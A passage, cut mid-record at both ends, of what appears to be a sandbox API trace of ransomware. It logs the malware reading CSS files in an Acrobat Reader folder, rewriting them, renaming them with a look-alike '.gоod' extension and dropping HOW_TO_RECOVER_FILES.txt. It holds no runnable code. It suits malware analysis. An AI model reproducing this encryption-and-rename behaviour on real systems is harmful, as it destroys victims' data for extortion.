ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0246.755] FindClose (in: hFindFile=0x134a740 | out: hFindFile=0x134a740) returned 1 [0246.755] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20bed960) returned 1 [0246.755] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20bed920) returned 1 [0246.756] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20becff0) returned 1 [0246.756] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\css", nBufferLength=0x105, lpBuffer=0x20beca90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\css", lpFilePart=0x0) returned 0x75 [0246.756] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\css\\*", lpFindFileData=0x20becd10 | out: lpFindFileData=0x20becd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ae60 [0246.756] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x20beccd0 | out: lpFindFileData=0x20beccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.757] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x20beccd0 | out: lpFindFileData=0x20beccd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x645, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-selector.css", cAlternateFileName="MAIN-S~1.CSS")) returned 1 [0246.757] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x20beccd0 | out: lpFindFileData=0x20beccd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x11ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 1 [0246.757] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x20beccd0 | out: lpFindFileData=0x20beccd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0246.757] FindClose (in: hFindFile=0x134ae60 | out: hFindFile=0x134ae60) returned 1 [0246.757] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20becf30) returned 1 [0246.757] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20becef0) returned 1 [0246.757] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20becff0) returned 1 [0246.757] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\css", nBufferLength=0x105, lpBuffer=0x20beca90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\css", lpFilePart=0x0) returned 0x75 [0246.757] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\css\\*", lpFindFileData=0x20becd10 | out: lpFindFileData=0x20becd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134af20 [0246.757] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x20beccd0 | out: lpFindFileData=0x20beccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.758] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x20beccd0 | out: lpFindFileData=0x20beccd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x645, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-selector.css", cAlternateFileName="MAIN-S~1.CSS")) returned 1 [0246.758] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x20beccd0 | out: lpFindFileData=0x20beccd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x11ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 1 [0246.758] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x20beccd0 | out: lpFindFileData=0x20beccd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x11ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 0 [0246.758] FindClose (in: hFindFile=0x134af20 | out: hFindFile=0x134af20) returned 1 [0246.758] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20becf30) returned 1 [0246.758] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20becef0) returned 1 [0246.758] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\css\\main-selector.css", nBufferLength=0x105, lpBuffer=0x20bec8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\css\\main-selector.css", lpFilePart=0x0) returned 0x87 [0246.758] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20becda0) returned 1 [0246.758] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\css\\main-selector.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\css\\main-selector.css"), fInfoLevelId=0x0, lpFileInformation=0x38ff3e0 | out: lpFileInformation=0x38ff3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x645)) returned 1 [0246.758] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20becd60) returned 1 [0246.758] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\css\\main-selector.css", nBufferLength=0x105, lpBuffer=0x20bec730, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\css\\main-selector.css", lpFilePart=0x0) returned 0x87 [0246.759] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20becc50) returned 1 [0246.759] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\css\\main-selector.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\css\\main-selector.css"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0246.759] GetFileType (hFile=0x86c) returned 0x1 [0246.759] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20becbc0) returned 1 [0246.759] GetFileType (hFile=0x86c) returned 0x1 [0246.759] GetFileSize (in: hFile=0x86c, lpFileSizeHigh=0x20becdf8 | out: lpFileSizeHigh=0x20becdf8*=0x0) returned 0x645 [0246.759] ReadFile (in: hFile=0x86c, lpBuffer=0x38ffde0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20becd28, lpOverlapped=0x0 | out: lpBuffer=0x38ffde0*, lpNumberOfBytesRead=0x20becd28*=0x645, lpOverlapped=0x0) returned 1 [0246.760] CloseHandle (hObject=0x86c) returned 1 [0248.814] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\css\\main-selector.css", nBufferLength=0x105, lpBuffer=0x20bec730, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\css\\main-selector.css", lpFilePart=0x0) returned 0x87 [0248.814] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20becc50) returned 1 [0248.814] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\css\\main-selector.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\css\\main-selector.css"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0248.815] GetFileType (hFile=0x864) returned 0x1 [0248.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20becbc0) returned 1 [0248.815] GetFileType (hFile=0x864) returned 0x1 [0248.815] WriteFile (in: hFile=0x864, lpBuffer=0x37d57f0*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x20becc38, lpOverlapped=0x0 | out: lpBuffer=0x37d57f0*, lpNumberOfBytesWritten=0x20becc38*=0x650, lpOverlapped=0x0) returned 1 [0248.816] CloseHandle (hObject=0x864) returned 1 [0248.816] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\css\\main-selector.css", nBufferLength=0x105, lpBuffer=0x20bec8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\css\\main-selector.css", lpFilePart=0x0) returned 0x87 [0248.816] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\css\\main-selector.css.gоod", nBufferLength=0x105, lpBuffer=0x20bec8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\css\\main-selector.css.gоod", lpFilePart=0x0) returned 0x8c [0248.816] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20becd60) returned 1 [0248.816] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\css\\main-selector.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\css\\main-selector.css"), fInfoLevelId=0x0, lpFileInformation=0x20bece40 | out: lpFileInformation=0x20bece40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x90858221, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x650)) returned 1 [0248.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20becd20) returned 1 [0248.816] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\css\\main-selector.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\css\\main-selector.css"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\css\\main-selector.css.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\css\\main-selector.css.gоod")) returned 1 [0248.817] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\css\\main.css", nBufferLength=0x105, lpBuffer=0x20bec8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\css\\main.css", lpFilePart=0x0) returned 0x7e [0248.817] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20becda0) returned 1 [0248.817] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\css\\main.css"), fInfoLevelId=0x0, lpFileInformation=0x37d6c10 | out: lpFileInformation=0x37d6c10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x11ab)) returned 1 [0248.818] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20becd60) returned 1 [0248.818] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\css\\main.css", nBufferLength=0x105, lpBuffer=0x20bec780, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\css\\main.css", lpFilePart=0x0) returned 0x7e [0248.818] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20becca0) returned 1 [0248.818] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\css\\main.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0248.818] GetFileType (hFile=0x864) returned 0x1 [0248.818] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20becc10) returned 1 [0248.818] GetFileType (hFile=0x864) returned 0x1 [0248.818] SetFilePointer (in: hFile=0x864, lDistanceToMove=4096, lpDistanceToMoveHigh=0x20becdf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x20becdf8*=0) returned 0x1000 [0248.819] ReadFile (in: hFile=0x864, lpBuffer=0x37d70f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20becdc8, lpOverlapped=0x0 | out: lpBuffer=0x37d70f8*, lpNumberOfBytesRead=0x20becdc8*=0x1ab, lpOverlapped=0x0) returned 1 [0248.965] CloseHandle (hObject=0x864) returned 1 [0248.965] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\css\\main.css", nBufferLength=0x105, lpBuffer=0x20bec780, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\css\\main.css", lpFilePart=0x0) returned 0x7e [0248.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20becca0) returned 1 [0248.965] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\css\\main.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0248.965] GetFileType (hFile=0x864) returned 0x1 [0248.965] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20becc10) returned 1 [0248.965] GetFileType (hFile=0x864) returned 0x1 [0248.965] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x20becdf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x20becdf8*=0) returned 0x11ab [0248.965] WriteFile (in: hFile=0x864, lpBuffer=0x3787838*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x20becce8, lpOverlapped=0x0 | out: lpBuffer=0x3787838*, lpNumberOfBytesWritten=0x20becce8*=0x10, lpOverlapped=0x0) returned 1 [0248.966] CloseHandle (hObject=0x864) returned 1 [0248.966] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\css\\main.css", nBufferLength=0x105, lpBuffer=0x20bec780, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\css\\main.css", lpFilePart=0x0) returned 0x7e [0248.966] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20becca0) returned 1 [0248.966] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\css\\main.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0248.966] GetFileType (hFile=0x864) returned 0x1 [0248.966] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20becc10) returned 1 [0248.966] GetFileType (hFile=0x864) returned 0x1 [0248.966] ReadFile (in: hFile=0x864, lpBuffer=0x3789b60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20becd78, lpOverlapped=0x0 | out: lpBuffer=0x3789b60*, lpNumberOfBytesRead=0x20becd78*=0x1000, lpOverlapped=0x0) returned 1 [0249.760] CloseHandle (hObject=0x864) returned 1 [0249.761] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\css\\main.css", nBufferLength=0x105, lpBuffer=0x20bec780, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\css\\main.css", lpFilePart=0x0) returned 0x7e [0249.761] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20becca0) returned 1 [0249.761] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\css\\main.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0249.761] GetFileType (hFile=0x864) returned 0x1 [0249.761] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20becc10) returned 1 [0249.761] GetFileType (hFile=0x864) returned 0x1 [0249.761] WriteFile (in: hFile=0x864, lpBuffer=0x373c398*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x20bece28, lpOverlapped=0x0 | out: lpBuffer=0x373c398*, lpNumberOfBytesWritten=0x20bece28*=0x1010, lpOverlapped=0x0) returned 1 [0249.761] CloseHandle (hObject=0x864) returned 1 [0249.761] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\css\\main.css", nBufferLength=0x105, lpBuffer=0x20bec8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\css\\main.css", lpFilePart=0x0) returned 0x7e [0249.761] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\css\\main.css.gоod", nBufferLength=0x105, lpBuffer=0x20bec8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\css\\main.css.gоod", lpFilePart=0x0) returned 0x83 [0249.761] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20becd60) returned 1 [0249.761] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\css\\main.css"), fInfoLevelId=0x0, lpFileInformation=0x20bece40 | out: lpFileInformation=0x20bece40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x91150c71, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x11bb)) returned 1 [0249.762] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20becd20) returned 1 [0249.762] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\css\\main.css"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\css\\main.css.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\css\\main.css.gоod")) returned 1 [0249.763] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\css\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x20beca40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\css\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8e [0249.763] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20becf60) returned 1 [0249.763] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\css\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\css\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0249.765] GetFileType (hFile=0x808) returned 0x1 [0249.765] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beced0) returned 1 [0249.765] GetFileType (hFile=0x808) returned 0x1 [0249.765] WriteFile (in: hFile=0x808, lpBuffer=0x38b6728*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x20bed028, lpOverlapped=0x0 | out: lpBuffer=0x38b6728*, lpNumberOfBytesWritten=0x20bed028*=0x5d0, lpOverlapped=0x0) returned 1 [0249.766] CloseHandle (hObject=0x808) returned 1 [0249.766] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20becff0) returned 1 [0249.766] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js", nBufferLength=0x105, lpBuffer=0x20beca90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader 